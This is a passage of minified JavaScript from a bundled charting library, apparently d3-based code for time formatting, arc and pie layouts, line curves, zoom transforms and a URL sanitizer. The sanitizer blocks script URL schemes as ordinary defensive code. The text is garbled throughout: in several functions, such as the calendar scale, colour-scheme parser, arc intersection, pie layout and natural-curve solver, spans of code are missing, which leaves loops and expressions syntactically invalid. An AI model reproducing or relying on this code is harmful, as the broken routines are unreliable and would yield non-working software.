matLiteralPercent");o(pX,"formatUnixTimestamp");o(mX,"formatUnixTimestampSeconds")});function HD(t){return X0=UD(t),Pd=X0.format,TX=X0.parse,wX=X0.utcFormat,kX=X0.utcParse,X0}var X0,Pd,TX,wX,kX,EX=N(()=>{"use strict";bX();HD({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});o(HD,"defaultLocale")});var qD=N(()=>{"use strict";EX()});function ICe(t){return new Date(t)}function OCe(t){return t instanceof Date?+t:+new Date(+t)}function SX(t,e,r,n,i,a,s,l,u,h){var f=Iv(),d=f.invert,p=f.domain,m=h(".%L"),g=h(":%S"),y=h("%I:%M"),v=h("%I %p"),x=h("%a %d"),b=h("%b %d"),T=h("%B"),S=h("%Y");function w(k){return(u(k){"use strict";G5();qD();CD();Mv();YY();o(ICe,"date");o(OCe,"number");o(SX,"calendar");o(V5,"time")});var AX=N(()=>{"use strict";GY();WY();wD();CX()});function WD(t){for(var e=t.length/6|0,r=new Array(e),n=0;n{"use strict";o(WD,"default")});var YD,DX=N(()=>{"use strict";_X();YD=WD("4e79a7f28e2ce1575976b7b259a14fedc949af7aa1ff9da79c755fbab0ab")});var LX=N(()=>{"use strict";DX()});function zn(t){return o(function(){return t},"constant")}var U5=N(()=>{"use strict";o(zn,"default")});function NX(t){return t>1?0:t<-1?j0:Math.acos(t)}function jD(t){return t>=1?zv:t<=-1?-zv:Math.asin(t)}var XD,ca,Ph,RX,H5,El,Bd,Xi,j0,zv,K0,q5=N(()=>{"use strict";XD=Math.abs,ca=Math.atan2,Ph=Math.cos,RX=Math.max,H5=Math.min,El=Math.sin,Bd=Math.sqrt,Xi=1e-12,j0=Math.PI,zv=j0/2,K0=2*j0;o(NX,"acos");o(jD,"asin")});function W5(t){let e=3;return t.digits=function(r){if(!arguments.length)return e;if(r==null)e=null;else{let n=Math.floor(r);if(!(n>=0))throw new RangeError(`invalid digits: ${r}`);e=n}return t},()=>new _d(e)}var KD=N(()=>{"use strict";W_();o(W5,"withPath")});function PCe(t){return t.innerRadius}function BCe(t){return t.outerRadius}function FCe(t){return t.startAngle}function $Ce(t){return t.endAngle}function zCe(t){return t&&t.padAngle}function GCe(t,e,r,n,i,a,s,l){var u=r-t,h=n-e,f=s-i,d=l-a,p=d*u-f*h;if(!(p*p_*_+O*O&&(C=I,R=L),{cx:C,cy:R,x01:-f,y01:-d,x11:C*(i/w-1),y11:R*(i/w-1)}}function Sl(){var t=PCe,e=BCe,r=zn(0),n=null,i=FCe,a=$Ce,s=zCe,l=null,u=W5(h);function h(){var f,d,p=+t.apply(this,arguments),m=+e.apply(this,arguments),g=i.apply(this,arguments)-zv,y=a.apply(this,arguments)-zv,v=XD(y-g),x=y>g;if(l||(l=f=u()),mXi))l.moveTo(0,0);else if(v>K0-Xi)l.moveTo(m*Ph(g),m*El(g)),l.arc(0,0,m,g,y,!x),p>Xi&&(l.moveTo(p*Ph(y),p*El(y)),l.arc(0,0,p,y,g,x));else{var b=g,T=y,S=g,w=y,k=v,A=v,C=s.apply(this,arguments)/2,R=C>Xi&&(n?+n.apply(this,arguments):Bd(p*p+m*m)),I=H5(XD(m-p)/2,+r.apply(this,arguments)),L=I,E=I,D,_;if(R>Xi){var O=jD(R/p*El(C)),M=jD(R/m*El(C));(k-=O*2)>Xi?(O*=x?1:-1,S+=O,w-=O):(k=0,S=w=(g+y)/2),(A-=M*2)>Xi?(M*=x?1:-1,b+=M,T-=M):(A=0,b=T=(g+y)/2)}var P=m*Ph(b),B=m*El(b),F=p*Ph(w),G=p*El(w);if(I>Xi){var $=m*Ph(T),U=m*El(T),j=p*Ph(S),te=p*El(S),Y;if(vXi?E>Xi?(D=Y5(j,te,P,B,m,E,x),_=Y5($,U,F,G,m,E,x),l.moveTo(D.cx+D.x01,D.cy+D.y01),EXi)||!(k>Xi)?l.lineTo(F,G):L>Xi?(D=Y5(F,G,$,U,p,-L,x),_=Y5(P,B,j,te,p,-L,x),l.lineTo(D.cx+D.x01,D.cy+D.y01),L{"use strict";U5();q5();KD();o(PCe,"arcInnerRadius");o(BCe,"arcOuterRadius");o(FCe,"arcStartAngle");o($Ce,"arcEndAngle");o(zCe,"arcPadAngle");o(GCe,"intersect");o(Y5,"cornerTangents");o(Sl,"default")});function Gv(t){return typeof t=="object"&&"length"in t?t:Array.from(t)}var Zxt,QD=N(()=>{"use strict";Zxt=Array.prototype.slice;o(Gv,"default")});function IX(t){this._context=t}function Cu(t){return new IX(t)}var ZD=N(()=>{"use strict";o(IX,"Linear");IX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;default:this._context.lineTo(t,e);break}},"point")};o(Cu,"default")});function OX(t){return t[0]}function PX(t){return t[1]}var BX=N(()=>{"use strict";o(OX,"x");o(PX,"y")});function Cl(t,e){var r=zn(!0),n=null,i=Cu,a=null,s=W5(l);t=typeof t=="function"?t:t===void 0?OX:zn(t),e=typeof e=="function"?e:e===void 0?PX:zn(e);function l(u){var h,f=(u=Gv(u)).length,d,p=!1,m;for(n==null&&(a=i(m=s())),h=0;h<=f;++h)!(h{"use strict";QD();U5();ZD();KD();BX();o(Cl,"default")});function JD(t,e){return et?1:e>=t?0:NaN}var $X=N(()=>{"use strict";o(JD,"default")});function eL(t){return t}var zX=N(()=>{"use strict";o(eL,"default")});function X5(){var t=eL,e=JD,r=null,n=zn(0),i=zn(K0),a=zn(0);function s(l){var u,h=(l=Gv(l)).length,f,d,p=0,m=new Array(h),g=new Array(h),y=+n.apply(this,arguments),v=Math.min(K0,Math.max(-K0,i.apply(this,arguments)-y)),x,b=Math.min(Math.abs(v)/h,a.apply(this,arguments)),T=b*(v<0?-1:1),S;for(u=0;u0&&(p+=S);for(e!=null?m.sort(function(w,k){return e(g[w],g[k])}):r!=null&&m.sort(function(w,k){return r(l[w],l[k])}),u=0,d=p?(v-h*T)/p:0;u0?S*d:0)+T,g[f]={data:l[f],index:u,value:S,startAngle:y,endAngle:x,padAngle:b};return g}return o(s,"pie"),s.value=function(l){return arguments.length?(t=typeof l=="function"?l:zn(+l),s):t},s.sortValues=function(l){return arguments.length?(e=l,r=null,s):e},s.sort=function(l){return arguments.length?(r=l,e=null,s):r},s.startAngle=function(l){return arguments.length?(n=typeof l=="function"?l:zn(+l),s):n},s.endAngle=function(l){return arguments.length?(i=typeof l=="function"?l:zn(+l),s):i},s.padAngle=function(l){return arguments.length?(a=typeof l=="function"?l:zn(+l),s):a},s}var GX=N(()=>{"use strict";QD();U5();$X();zX();q5();o(X5,"default")});function Vv(t){return new j5(t,!0)}function Uv(t){return new j5(t,!1)}var j5,VX=N(()=>{"use strict";j5=class{static{o(this,"Bump")}constructor(e,r){this._context=e,this._x=r}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(e,r){switch(e=+e,r=+r,this._point){case 0:{this._point=1,this._line?this._context.lineTo(e,r):this._context.moveTo(e,r);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+e)/2,this._y0,this._x0,r,e,r):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+r)/2,e,this._y0,e,r);break}}this._x0=e,this._y0=r}};o(Vv,"bumpX");o(Uv,"bumpY")});function so(){}var Hv=N(()=>{"use strict";o(so,"default")});function Q0(t,e,r){t._context.bezierCurveTo((2*t._x0+t._x1)/3,(2*t._y0+t._y1)/3,(t._x0+2*t._x1)/3,(t._y0+2*t._y1)/3,(t._x0+4*t._x1+e)/6,(t._y0+4*t._y1+r)/6)}function qv(t){this._context=t}function No(t){return new qv(t)}var Wv=N(()=>{"use strict";o(Q0,"point");o(qv,"Basis");qv.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 3:Q0(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Q0(this,t,e);break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e},"point")};o(No,"default")});function UX(t){this._context=t}function K5(t){return new UX(t)}var HX=N(()=>{"use strict";Hv();Wv();o(UX,"BasisClosed");UX.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._x2=t,this._y2=e;break;case 1:this._point=2,this._x3=t,this._y3=e;break;case 2:this._point=3,this._x4=t,this._y4=e,this._context.moveTo((this._x0+4*this._x1+t)/6,(this._y0+4*this._y1+e)/6);break;default:Q0(this,t,e);break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e},"point")};o(K5,"default")});function qX(t){this._context=t}function Q5(t){return new qX(t)}var WX=N(()=>{"use strict";Wv();o(qX,"BasisOpen");qX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var r=(this._x0+4*this._x1+t)/6,n=(this._y0+4*this._y1+e)/6;this._line?this._context.lineTo(r,n):this._context.moveTo(r,n);break;case 3:this._point=4;default:Q0(this,t,e);break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e},"point")};o(Q5,"default")});function YX(t,e){this._basis=new qv(t),this._beta=e}var tL,XX=N(()=>{"use strict";Wv();o(YX,"Bundle");YX.prototype={lineStart:o(function(){this._x=[],this._y=[],this._basis.lineStart()},"lineStart"),lineEnd:o(function(){var t=this._x,e=this._y,r=t.length-1;if(r>0)for(var n=t[0],i=e[0],a=t[r]-n,s=e[r]-i,l=-1,u;++l<=r;)u=l/r,this._basis.point(this._beta*t[l]+(1-this._beta)*(n+u*a),this._beta*e[l]+(1-this._beta)*(i+u*s));this._x=this._y=null,this._basis.lineEnd()},"lineEnd"),point:o(function(t,e){this._x.push(+t),this._y.push(+e)},"point")};tL=o((function t(e){function r(n){return e===1?new qv(n):new YX(n,e)}return o(r,"bundle"),r.beta=function(n){return t(+n)},r}),"custom")(.85)});function Z0(t,e,r){t._context.bezierCurveTo(t._x1+t._k*(t._x2-t._x0),t._y1+t._k*(t._y2-t._y0),t._x2+t._k*(t._x1-e),t._y2+t._k*(t._y1-r),t._x2,t._y2)}function Z5(t,e){this._context=t,this._k=(1-e)/6}var Yv,Xv=N(()=>{"use strict";o(Z0,"point");o(Z5,"Cardinal");Z5.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 2:this._context.lineTo(this._x2,this._y2);break;case 3:Z0(this,this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2,this._x1=t,this._y1=e;break;case 2:this._point=3;default:Z0(this,t,e);break}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};Yv=o((function t(e){function r(n){return new Z5(n,e)}return o(r,"cardinal"),r.tension=function(n){return t(+n)},r}),"custom")(0)});function J5(t,e){this._context=t,this._k=(1-e)/6}var rL,nL=N(()=>{"use strict";Hv();Xv();o(J5,"CardinalClosed");J5.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._x5=this._y0=this._y1=this._y2=this._y3=this._y4=this._y5=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 1:{this._context.moveTo(this._x3,this._y3),this._context.closePath();break}case 2:{this._context.lineTo(this._x3,this._y3),this._context.closePath();break}case 3:{this.point(this._x3,this._y3),this.point(this._x4,this._y4),this.point(this._x5,this._y5);break}}},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._x3=t,this._y3=e;break;case 1:this._point=2,this._context.moveTo(this._x4=t,this._y4=e);break;case 2:this._point=3,this._x5=t,this._y5=e;break;default:Z0(this,t,e);break}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};rL=o((function t(e){function r(n){return new J5(n,e)}return o(r,"cardinal"),r.tension=function(n){return t(+n)},r}),"custom")(0)});function eT(t,e){this._context=t,this._k=(1-e)/6}var iL,aL=N(()=>{"use strict";Xv();o(eT,"CardinalOpen");eT.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3,this._line?this._context.lineTo(this._x2,this._y2):this._context.moveTo(this._x2,this._y2);break;case 3:this._point=4;default:Z0(this,t,e);break}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};iL=o((function t(e){function r(n){return new eT(n,e)}return o(r,"cardinal"),r.tension=function(n){return t(+n)},r}),"custom")(0)});function jv(t,e,r){var n=t._x1,i=t._y1,a=t._x2,s=t._y2;if(t._l01_a>Xi){var l=2*t._l01_2a+3*t._l01_a*t._l12_a+t._l12_2a,u=3*t._l01_a*(t._l01_a+t._l12_a);n=(n*l-t._x0*t._l12_2a+t._x2*t._l01_2a)/u,i=(i*l-t._y0*t._l12_2a+t._y2*t._l01_2a)/u}if(t._l23_a>Xi){var h=2*t._l23_2a+3*t._l23_a*t._l12_a+t._l12_2a,f=3*t._l23_a*(t._l23_a+t._l12_a);a=(a*h+t._x1*t._l23_2a-e*t._l12_2a)/f,s=(s*h+t._y1*t._l23_2a-r*t._l12_2a)/f}t._context.bezierCurveTo(n,i,a,s,t._x2,t._y2)}function jX(t,e){this._context=t,this._alpha=e}var Kv,tT=N(()=>{"use strict";q5();Xv();o(jv,"point");o(jX,"CatmullRom");jX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 2:this._context.lineTo(this._x2,this._y2);break;case 3:this.point(this._x2,this._y2);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){if(t=+t,e=+e,this._point){var r=this._x2-t,n=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(r*r+n*n,this._alpha))}switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;break;case 2:this._point=3;default:jv(this,t,e);break}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};Kv=o((function t(e){function r(n){return e?new jX(n,e):new Z5(n,0)}return o(r,"catmullRom"),r.alpha=function(n){return t(+n)},r}),"custom")(.5)});function KX(t,e){this._context=t,this._alpha=e}var sL,QX=N(()=>{"use strict";nL();Hv();tT();o(KX,"CatmullRomClosed");KX.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._x5=this._y0=this._y1=this._y2=this._y3=this._y4=this._y5=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 1:{this._context.moveTo(this._x3,this._y3),this._context.closePath();break}case 2:{this._context.lineTo(this._x3,this._y3),this._context.closePath();break}case 3:{this.point(this._x3,this._y3),this.point(this._x4,this._y4),this.point(this._x5,this._y5);break}}},"lineEnd"),point:o(function(t,e){if(t=+t,e=+e,this._point){var r=this._x2-t,n=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(r*r+n*n,this._alpha))}switch(this._point){case 0:this._point=1,this._x3=t,this._y3=e;break;case 1:this._point=2,this._context.moveTo(this._x4=t,this._y4=e);break;case 2:this._point=3,this._x5=t,this._y5=e;break;default:jv(this,t,e);break}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};sL=o((function t(e){function r(n){return e?new KX(n,e):new J5(n,0)}return o(r,"catmullRom"),r.alpha=function(n){return t(+n)},r}),"custom")(.5)});function ZX(t,e){this._context=t,this._alpha=e}var oL,JX=N(()=>{"use strict";aL();tT();o(ZX,"CatmullRomOpen");ZX.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},"lineStart"),lineEnd:o(function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){if(t=+t,e=+e,this._point){var r=this._x2-t,n=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(r*r+n*n,this._alpha))}switch(this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3,this._line?this._context.lineTo(this._x2,this._y2):this._context.moveTo(this._x2,this._y2);break;case 3:this._point=4;default:jv(this,t,e);break}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e},"point")};oL=o((function t(e){function r(n){return e?new ZX(n,e):new eT(n,0)}return o(r,"catmullRom"),r.alpha=function(n){return t(+n)},r}),"custom")(.5)});function ej(t){this._context=t}function rT(t){return new ej(t)}var tj=N(()=>{"use strict";Hv();o(ej,"LinearClosed");ej.prototype={areaStart:so,areaEnd:so,lineStart:o(function(){this._point=0},"lineStart"),lineEnd:o(function(){this._point&&this._context.closePath()},"lineEnd"),point:o(function(t,e){t=+t,e=+e,this._point?this._context.lineTo(t,e):(this._point=1,this._context.moveTo(t,e))},"point")};o(rT,"default")});function rj(t){return t<0?-1:1}function nj(t,e,r){var n=t._x1-t._x0,i=e-t._x1,a=(t._y1-t._y0)/(n||i<0&&-0),s=(r-t._y1)/(i||n<0&&-0),l=(a*i+s*n)/(n+i);return(rj(a)+rj(s))*Math.min(Math.abs(a),Math.abs(s),.5*Math.abs(l))||0}function ij(t,e){var r=t._x1-t._x0;return r?(3*(t._y1-t._y0)/r-e)/2:e}function lL(t,e,r){var n=t._x0,i=t._y0,a=t._x1,s=t._y1,l=(a-n)/3;t._context.bezierCurveTo(n+l,i+l*e,a-l,s-l*r,a,s)}function nT(t){this._context=t}function aj(t){this._context=new sj(t)}function sj(t){this._context=t}function Qv(t){return new nT(t)}function Zv(t){return new aj(t)}var oj=N(()=>{"use strict";o(rj,"sign");o(nj,"slope3");o(ij,"slope2");o(lL,"point");o(nT,"MonotoneX");nT.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},"lineStart"),lineEnd:o(function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:lL(this,this._t0,ij(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},"lineEnd"),point:o(function(t,e){var r=NaN;if(t=+t,e=+e,!(t===this._x1&&e===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;break;case 2:this._point=3,lL(this,ij(this,r=nj(this,t,e)),r);break;default:lL(this,this._t0,r=nj(this,t,e));break}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e,this._t0=r}},"point")};o(aj,"MonotoneY");(aj.prototype=Object.create(nT.prototype)).point=function(t,e){nT.prototype.point.call(this,e,t)};o(sj,"ReflectContext");sj.prototype={moveTo:o(function(t,e){this._context.moveTo(e,t)},"moveTo"),closePath:o(function(){this._context.closePath()},"closePath"),lineTo:o(function(t,e){this._context.lineTo(e,t)},"lineTo"),bezierCurveTo:o(function(t,e,r,n,i,a){this._context.bezierCurveTo(e,t,n,r,a,i)},"bezierCurveTo")};o(Qv,"monotoneX");o(Zv,"monotoneY")});function cj(t){this._context=t}function lj(t){var e,r=t.length-1,n,i=new Array(r),a=new Array(r),s=new Array(r);for(i[0]=0,a[0]=2,s[0]=t[0]+2*t[1],e=1;e=0;--e)i[e]=(s[e]-i[e+1])/a[e];for(a[r-1]=(t[r]+i[r-1])/2,e=0;e{"use strict";o(cj,"Natural");cj.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x=[],this._y=[]},"lineStart"),lineEnd:o(function(){var t=this._x,e=this._y,r=t.length;if(r)if(this._line?this._context.lineTo(t[0],e[0]):this._context.moveTo(t[0],e[0]),r===2)this._context.lineTo(t[1],e[1]);else for(var n=lj(t),i=lj(e),a=0,s=1;s{"use strict";o(iT,"Step");iT.prototype={areaStart:o(function(){this._line=0},"areaStart"),areaEnd:o(function(){this._line=NaN},"areaEnd"),lineStart:o(function(){this._x=this._y=NaN,this._point=0},"lineStart"),lineEnd:o(function(){0=0&&(this._t=1-this._t,this._line=1-this._line)},"lineEnd"),point:o(function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,e),this._context.lineTo(t,e);else{var r=this._x*(1-this._t)+t*this._t;this._context.lineTo(r,this._y),this._context.lineTo(r,e)}break}}this._x=t,this._y=e},"point")};o(em,"default");o(Jv,"stepBefore");o(e2,"stepAfter")});var fj=N(()=>{"use strict";MX();FX();GX();HX();WX();Wv();VX();XX();nL();aL();Xv();QX();JX();tT();tj();ZD();oj();uj();hj()});var dj=N(()=>{"use strict"});var pj=N(()=>{"use strict"});function Bh(t,e,r){this.k=t,this.x=e,this.y=r}function uL(t){for(;!t.__zoom;)if(!(t=t.parentNode))return cL;return t.__zoom}var cL,hL=N(()=>{"use strict";o(Bh,"Transform");Bh.prototype={constructor:Bh,scale:o(function(t){return t===1?this:new Bh(this.k*t,this.x,this.y)},"scale"),translate:o(function(t,e){return t===0&e===0?this:new Bh(this.k,this.x+this.k*t,this.y+this.k*e)},"translate"),apply:o(function(t){return[t[0]*this.k+this.x,t[1]*this.k+this.y]},"apply"),applyX:o(function(t){return t*this.k+this.x},"applyX"),applyY:o(function(t){return t*this.k+this.y},"applyY"),invert:o(function(t){return[(t[0]-this.x)/this.k,(t[1]-this.y)/this.k]},"invert"),invertX:o(function(t){return(t-this.x)/this.k},"invertX"),invertY:o(function(t){return(t-this.y)/this.k},"invertY"),rescaleX:o(function(t){return t.copy().domain(t.range().map(this.invertX,this).map(t.invert,t))},"rescaleX"),rescaleY:o(function(t){return t.copy().domain(t.range().map(this.invertY,this).map(t.invert,t))},"rescaleY"),toString:o(function(){return"translate("+this.x+","+this.y+") scale("+this.k+")"},"toString")};cL=new Bh(1,0,0);uL.prototype=Bh.prototype;o(uL,"transform")});var mj=N(()=>{"use strict"});var gj=N(()=>{"use strict";w5();dj();pj();hL();mj()});var yj=N(()=>{"use strict";gj();hL()});var yr=N(()=>{"use strict";Ch();SH();HW();XW();B0();jW();KW();JA();gq();QW();G_();ZW();eY();iD();pY();FY();z0();W_();$Y();JW();zY();AX();LX();yl();fj();G5();qD();g5();w5();yj()});var vj=Da(ji=>{"use strict";Object.defineProperty(ji,"__esModule",{value:!0});ji.BLANK_URL=ji.relativeFirstCharacters=ji.whitespaceEscapeCharsRegex=ji.urlSchemeRegex=ji.ctrlCharactersRegex=ji.htmlCtrlEntityRegex=ji.htmlEntitiesRegex=ji.invalidProtocolRegex=void 0;ji.invalidProtocolRegex=/^([^\w]*)(javascript|data|vbscript)/im;ji.htmlEntitiesRegex=/&#(\w+)(^\w|;)?/g;ji.htmlCtrlEntityRegex=/&(newline|tab);/gi;ji.ctrlCharactersRegex=/[\u0000-\u001F\u007F-\u009F\u2000-\u200D\uFEFF]/gim;ji.urlSchemeRegex=/^.+(:|:)/gim;ji.whitespaceEscapeCharsRegex=/(\\|%5[cC])((%(6[eE]|72|74))|[nrt])/g;ji.relativeFirstCharacters=[".","/"];ji.BLANK_URL="about:blank"});var tm=Da(aT=>{"use strict";Object.defineProperty(aT,"__esModule",{value:!0});aT.sanitizeUrl=void 0;var Na=vj();function VCe(t){return Na.relativeFirstCharacters.indexOf(t[0])>-1}o(VCe,"isRelativeUrlWithoutProtocol");function UCe(t){var e=t.replace(Na.ctrlCharactersRegex,"");return e.replace(Na.htmlEntitiesRegex,function(r,n){return String.fromCharCode(n)})}o(UCe,"decodeHtmlCharacters");function HCe(t){return URL.canParse(t)}o(HCe,"isValidUrl");function xj(t){try{return decodeURIComponent(t)}catch{return t}}o(xj,"decodeURI");function qCe(t){if(!t)return Na.BLANK_URL;var e,r=xj(t.trim());do r=UCe(r).replace(Na.htmlCtrlEntityRegex,"").replace(Na.ctrlCharactersRegex,"").replace(Na.whitespaceEscapeCharsRegex,"").trim(),r=xj(r),e=r.match(Na.ctrlCharactersRegex)||r.match(Na.htmlEntitiesRegex)||r.match(Na.htmlCtrlEntityRegex)||r.match(Na.whitespaceEscapeCharsRegex);while(e&&e.length>0);var n=r;if(!n)return Na.BLANK_URL;if(VCe(n))return n;var i=n.trimStart(),a=i.match(Na.urlSchemeRegex);if(!a)return n;var s=a[0].toLowerCase().trim();if(Na.invalidProtocolRegex.test(s))return Na.BLANK_URL;var l=i.replace(/\\/g,"/");if(s==="mailto:"||s.includes("://"))return l;if(s==="http:"||s==="https:"){if(!HCe(l))return Na.BLANK_URL;var u=new URL(l);return u.protocol=u.protocol.toLowerCase(),u.hostname=u.hostname.toLowerCase(),u.toString()}return l}o(qCe,"sanitizeUrl");aT.sanitizeUrl=qCe});var fL,Fd,sT,bj,oT,lT,ua,t2,r2=N(()=>{"use strict";fL=ja(tm(),1);gr();Fd=o((t,e)=>{let r=t.append("rect");if(r.attr("x",e.x),r.attr("y",e.y),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("width",e.width),r.attr("height",e.height),e.name&&r.attr("name",e.name),e.rx&&r.attr("rx",e.rx),e.ry&&r.attr("ry",e.ry),e.attrs!==void 0)for(let n in e.attrs)r.attr(n,e.attrs[n]);return e.class&&r.attr("class",e.class),r},"drawRect"),sT=o((t,e)=>{let r={x:e.startx,y:e.starty,width:e.stopx-e.startx,height:e.stopy-e.starty,fill:e.fill,stroke:e.stroke,class:"rect"};Fd(t,r).lower()},"drawBackgroundRect"),bj=o((t,e)=>{let r=e.text.replace(pd," "),n=t.append("text");n.attr("x",e.x),n.attr("y",e.y),n.attr("class","legend"),n.style("text-anchor",e.anchor),e.class&&n.attr("class",e.class);let i=n.append("tspan");return 